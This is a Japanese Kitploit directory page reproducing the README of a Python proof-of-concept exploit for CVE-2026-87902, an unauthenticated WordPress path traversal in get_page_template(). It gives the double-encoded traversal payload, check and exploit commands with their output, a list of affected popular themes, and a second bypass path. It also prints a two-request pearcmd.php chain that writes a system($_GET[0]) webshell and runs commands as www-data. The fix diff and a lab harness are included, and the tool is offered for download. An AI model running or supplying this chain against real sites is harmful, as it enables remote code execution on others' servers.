Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-87902 — CVE-2026-87902 の Python PoC。get_page_template() を介した認証不要の WordPress パストラバーサル RCE で、バージョンフィンガープリンティング、テーマチェック、オプションのファイルインクルードを備えています。 | Kitploit
ツール/GitHubGitHub/vulpecuna/cve-2026-87902
脆弱性スキャナー脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストリモートアクセスツールラボと実践
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

CVE-2026-87902 の Python PoC。get_page_template() を介した認証不要の WordPress パストラバーサル RCE で、バージョンフィンガープリンティング、テーマチェック、オプションのファイルインクルードを備えています。

リポジトリを見る
31522時間46分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-87902

アドバイザリGHSA-7hp8-65ch-5whp
製品WordPress <= 7.1.1、7.1.2 で修正済み。両バージョンをテスト済み
シンクwp-includes/template.php、get_page_template()
原因pagename から構築された候補が validate_file() を通過しない
アクター匿名、アカウント不要、Cookie 不要、CSRF トークン不要
手法単一の GET、2 つのパラメータ
影響任意のオンディスク .php が WordPress プロセス内でインクルードされ実行される
エスカレーションPEAR ガジェットが悪用可能な場合のリモートコマンド実行。PHP とエスカレーションを参照
ターゲットへの書き込みデフォルトの --include ではなし
ここでの再現6 リリース、7 テーマ、4 PHP バージョン

リクエスト

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> は page- ディレクトリ、トラバーサル、ターゲットであり、すべてのドットとスラッシュが二重エンコードされている:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
フィールド役割
pagenameペイロード。WP_Query はこれを sanitize_title_for_query() に通し、これはリテラルのドットをダッシュに書き換えるがパーセントエンコードされたオクテットは保持する。その後 get_page_template() が urldecode() を呼び出して結果をパスにデコードする
page_id任意の公開ページ。これによりクエリは 404 を返す代わりに投稿にマッチする。これがないとページテンプレートは読み込まれない

コアは page-{urldecode($pagename)}.php を構築し、スタイルシートディレクトリに対して解決する。エンコードが必要: sanitize_title_for_query() はリテラルの .. を - に書き換える。

前提条件

#条件理由
1有効なテーマがトップレベルの page-* ディレクトリを持つ名前は page-{payload}.php であるため、その最初のセグメントがディスク上で解決される必要がある
2フロントページでも投稿ページでもない公開ページが 1 つis_front_page と is_home は is_page より先に試行される
3ターゲットファイルが .php で終わるコアが拡張子を追加する

アップロードされたコンテンツは不要、サイト設定・テーマ・コアへの変更も不要。

影響を受ける 26 テーマはすべてディレクトリを page-templates と呼ぶ。poc.py は themes.json から名前を取得し、そこにないテーマには page-templates を仮定し、--root でカンマ区切りのリストで上書きする。

Windows ホストでは前提条件 1 が崩れる。 Win32 は .. を字句的にキャンセルするため、存在しないセグメントもその後の .. によってキャンセルされる。

パス結果
C:\...\wordpress\page-nothing\..\README.md存在する
C:\...\wordpress\page-nothing\README.md存在しない

Windows 11 で os.stat を使用してテスト済み。これは PHP の file_exists() と同じ Win32 パス処理を使用する。WordPress 自体は Windows では実行されていない。

使用方法

チェック、デフォルト

テーマと 2 つのバージョンを特定し、page-* ディレクトリが存在するかどうかを問い合わせる。何もインクルードまたは実行されない。

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
page-<root>/ への応答解釈
200ディレクトリが存在し、リストされる
404そのようなディレクトリはない
403結論が出ないため、page-<8 random hex>/ へのコントロールリクエストを 1 つ続ける
403 の後コントロールが 404拒否は存在に関するもので、ディレクトリは存在する
403 の後コントロールも拒否サーバーは何を問い合わせても拒否する、終了コード 4

影響を受けるには両方が必要: ディレクトリが存在し、バージョンが 7.1.1 以下であること。

エクスプロイト

まずチェックを実行し、チェックがターゲットを除外しなかった場合にファイルをインクルードする。

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

レンダリングされたテーマテンプレートは常に wp_head() を通じて /wp-content/themes/ を参照するが、テーマ外からインクルードされたファイルは参照しない。これが判定ルールである。

オプション

オプションデフォルト効果
--target URL必須テスト対象のデプロイメント
--exploitオフチェック後にファイルをインクルードする
--include PATHwp-admin/install.phpインクルードする .php。相対パスは WordPress ルートから解決され、絶対パスは --depth で遡る
--depth N7絶対 --include のための ../ ホップ数
--root NAME[,NAME]themes.json から試行する page-* ディレクトリ、page- プレフィックスなし
--page-id ID検出ページ検出をスキップ
--theme SLUG検出テーマ検索をスキップ
--theme-version V検出テーマバージョン検索をスキップ
--no-versionオフバージョンを知ることだけを目的としたリクエストを行わない
--core-json PATHcore.jsonリリースフィンガープリント、バージョンを開示したものがない場合にのみ読み込まれる
--traceオフすべての交換を出力
--jsonオフ1 つの JSON オブジェクト、それ以外は何も出力しない
--yesオフ確認をスキップ
コードチェックエクスプロイト
0影響を受けるテーマ外の .php がインクルードされた
1影響を受けないインクルードされなかった
2応答なし、または応答が WordPress でない同じ
3使用法、または確認で拒否された同じ
4結論が出ない、403 と 7.1.x のケースを参照使用されない

デフォルトの --include は wp-admin/install.php: すべての WordPress で出力は紛れもなく、何も変更しない。

TLS 証明書は検証されない。期限切れ、自己署名、ホスト名不一致のものも受け入れられる。

バージョンフィンガープリンティング

順に試行し、最初に応答したもので停止する。

ソースコスト7.1.1 の場合
ホームページの generator メタ無料正確なバージョン
/wp-includes/ アセットの ?ver=無料正確なバージョン
/?feed=rss21 リクエスト正確なバージョン
/wp-links-opml.php1 リクエスト正確なバージョン
提供されたアセットの sha256 を core.json と照合1 リクエストそれらのバイトを提供するリリースの集合

core.json は公開された 112 リリースと 7.1.2 をカバーし、それぞれ 4 つのアセットを含む。それらを交差させると 9 リリースを正確に特定し、中央値で 4 候補が残る。影響を受けるにはすべての候補が 7.1.1 以下である必要がある。

7.1.1 と 7.1.2 は外部から区別できない。 異なる 3 つのファイルは wp-admin/about.php、wp-includes/template.php、wp-includes/version.php であり、いずれも提供されない。バージョンを隠す 7.1.x サイトは終了コード 4 を返す。

テーマ

wordpress.org で最もインストールされている 200 テーマ。26 が page-* ディレクトリを持ち影響を受け、合計で 9,027,090 アクティブインストールのうち 765,500。他の 174 は前提条件 1 を満たさない。

テーマバージョンインストール数page-*ステータス確認済み
neve4.2.11200,000page-templates🔴 影響ありlab
sydney2.7180,000page-templates🔴 影響ありlab
hestia3.3.670,000page-templates🔴 影響ありlab
inspiro2.2.360,000page-templates🔴 影響ありsurvey
colibri-wp1.0.16950,000page-templates🔴 影響ありsurvey
twentyfourteen4.650,000page-templates🔴 影響ありlab
twentytwelve4.950,000page-templates🔴 影響ありlab
colormag4.2.540,000page-templates🔴 影響ありlab
zakra4.3.330,000page-templates🔴 影響ありsurvey
spacious1.9.1220,000page-templates🔴 影響あり

lab は poc.py でストックイメージに対してエンドツーエンドでテスト済みを意味し、survey はディレクトリがテーマアーカイブから読み取られ、テーマが立ち上げられなかったことを意味する。

テスト済みで影響を受けないもの、いずれも page-* ディレクトリを持たない: astra、kadence、twentysixteen、twentyseventeen、twentytwentythree、twentytwentyfive。

hestia、neve などが提供する front-page.php は影響の有無を変えない。リクエストに対してフロントページの ID を除外するだけである。

バージョン

リリースイメージデフォルトテーマ影響を受けるテーマの場合確認済み
7.1.2🟢 影響なし、twentytwentyfive🟢 影響なし、nevelab
7.1.1🟢 影響なし、twentytwentyfive🔴 影響あり、nevelab
7.1.0🟢 影響なし、twentytwentyfive🔴 影響あり、nevelab
7.0.4🟢 影響なし、twentytwentyfive🔴 影響あり、nevelab
6.8.3🟢 影響なし、twentytwentyfive🔴 影響あり、nevelab
6.1.0🟢 影響なし、twentytwentythree🔴 影響あり、twentytwelvelab
4.9.8🟢 影響なし、twentyseventeen🔴 影響あり、twentytwelvelab
他の 105 リリース未測定未測定未測定
テーマバージョン前提条件ではなく、page-* ディレクトリが前提条件である。neve 4.2.11 は 6.8.3 以上で、twentytwelve 4.9 は古い 2 つのコアで使用された
7.1.2公開イメージなし。lab/run.py --core 7.1.2 でテスト済み。これは公式リリースアーカイブを 7.1.1-apache に適用する
すぐに使える状態4.1 以降のリリースは影響を受けない。twentyfifteen から twentytwentyfive は page-* ディレクトリを持たない。twentyfourteen と twentytwelve は持ち、3.8 から 4.0 および 3.5 のデフォルトであり、それらのイメージは公開されていない
プル不可公開された 112 タグのうち 15: 4.5.3-apache より古い 14 は containerd 2.1 が拒否する v1 マニフェストを使用し、4.5.3-apache はレジストリが提供できないレイヤーを持つ

リリースごとに公開された PHP バリアント。これが以下のエスカレーションを決定する:

WordPress リリース-apache として公開された PHP バリアント
4.1.x から 4.5.xなし、プレーンタグのみ、5.6
4.6.x から 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x から 5.5.x7.1 7.2 7.3 7.4
5.6.x から 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x から 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x と 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x と 7.1.x8.2 8.3 8.4 8.5

PHP とエスカレーション

ファイルインクルージョンは 4 つのイメージすべてで成功し、pearcmd.php はそれぞれに存在する。ガジェットを通じたコマンド実行には register_argc_argv がオンである必要があり、php8.5 イメージはこれをオフにしている。

イメージPHPregister_argc_argv
$_SERVER['argv']
pearcmd.php 経由の RCE確認済み
7.1.1-php8.2-apache8.2.33オン、値あり🔴 uid=33(www-data)lab
7.1.1-apache8.3.33オン、値あり🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25オン、値あり🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10オフ、null🟢 到達せずlab

CLI ではなく apache2handler を通じて読み取られ、CLI は設定を強制的にオンにする。RCE 列の背後にある 2 つのリクエスト:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py はファイルをインクルードするが、ガジェットを操作しない。--include /usr/local/lib/php/pearcmd.php --depth 7 で到達する。8.5 イメージでは pearcmd.php 以外のガジェットは探されなかった。

修正

wordpress-7.1.2.zip から読み取った。2 つの変更。

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

最初のものが脆弱な分岐を修正し、2 番目のものはそれが何によって生成されたかにかかわらず、すべての解決されたテンプレートパスをチェックする。テスト済み: 7.1.2 で neve が有効で page-templates が存在する場合、同じリクエストはインストーラの代わりにテーマ自身のページ、55,084 バイトをレンダリングする。

7.1.1 以前には 2 番目の経路が存在する:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
違いWP_Query をその post_name 分岐に迂回させ、これは pagename を書き換えないため、リテラルの .. が機能する
必要なものsingle.php を持たないテーマ。is_single は is_page より先に試行されるため
テスト済み7.1.1 で bloghash
ここにある理由サニタイザのみを強化する修正を生き延びる。上記の封じ込めチェックはこれも閉じる

ラボ

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
行ごと
イメージ公式 wordpress:<tag>、未変更
分離独自のコンテナ、独自のポート、共有 MariaDB 内の独自のデータベース
インストールHTTP 経由で wp-admin/install.php を通じて、バージョンに一致する wp-cli を必要としない
状態インストーラが残すまま、公開ページ 1 つ、アップロードなし
駆動方法poc.py --exploit、行は外観ではなくインクルージョンを測定する
オプションデフォルト効果
--jobs N2並列の行数
--theme SLUG[@VERSION]なしすべての行にインストールして有効化
--core VERSIONなしその公式リリースをイメージのコアに適用する。これがイメージのないリリースを実行する方法
--keepオフインスタンスを起動したままにし、管理者パスワードを最後に出力
--pruneオフこの実行がプルしたイメージを削除
--port-base N8110最初のポート、行ごとに 1 つ、127.0.0.1 のみ
--db-imagemariadb:10.6データベースイメージ
--timeout N180コンテナが応答するまでの秒数
--out PATHlab/results.json行ごとの詳細

終了コード: 0 すべての行が測定された、1 少なくとも 1 つが測定されなかった、2 Docker がないか実行するものがない、3 使用法または拒否。WordPress イメージは 600 MB から 1.1 GB であるため、--prune なしの --all は数十 GB になる。

.github/workflows/lab.yml は PoC またはラボへの変更ごとに 4 行を実行し、毎週実行する: 7.1.1 と 6.8.3 の影響を受けるテーマ、イメージデフォルトテーマ、php8.5 バリアント。それぞれが期待される終了コードをアサートする。

参考文献

アドバイザリGHSA-7hp8-65ch-5whp
記事https://ressl.ch/blog/cve-2026-87902-wordpress/
別の PoChttps://github.com/ressl/cve-2026-87902-poc

その PoC から取られた 2 つのアイデア、どちらもここで最初にテストされた:

アイデア採用テスト済み
ページリストのフォールバックルートとしての /index.php?rest_route= と /wp-json/はい検出は 3 つのうちの 1 つを通じて成功する
独自のページテンプレートを持たないページを優先する。get_page_template() がそのテンプレートを最初に試行するためはい、順序付けとしてそれを持つページを強制しても 7.1.1 で再現したため、最悪でも 1 リクエストのコスト

ファイル

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

要件: Docker、Python 3.8+、サードパーティパッケージなし。

ツールをダウンロード
survey
hueman3.7.2720,000page-templates🔴 影響ありsurvey
bloghash1.0.3010,000page-templates🔴 影響ありlab
botiga2.4.910,000page-templates🔴 影響ありsurvey
tutorstarter4.0.310,000page-templates🔴 影響ありsurvey
mesmerize1.6.18710,000page-templates🔴 影響ありsurvey
flash1.4.1210,000page-templates🔴 影響ありsurvey
shapely1.3.610,000page-templates🔴 影響ありsurvey
silverstorm1.0.368,000page-templates🔴 影響ありsurvey
prespa1.7.88,000page-templates🔴 影響ありsurvey
hybridmag1.1.46,000page-templates🔴 影響ありsurvey
chromenews6.2.105,000page-templates🔴 影響ありsurvey
morenews4.3.105,000page-templates🔴 影響ありsurvey
newsexo9.12,000page-templates🔴 影響ありsurvey
reviewnews2.0.51,000page-templates🔴 影響ありsurvey
the8-shop-dark1.0.5400page-templates🔴 影響ありsurvey
newsonline0.6100page-templates🔴 影響ありsurvey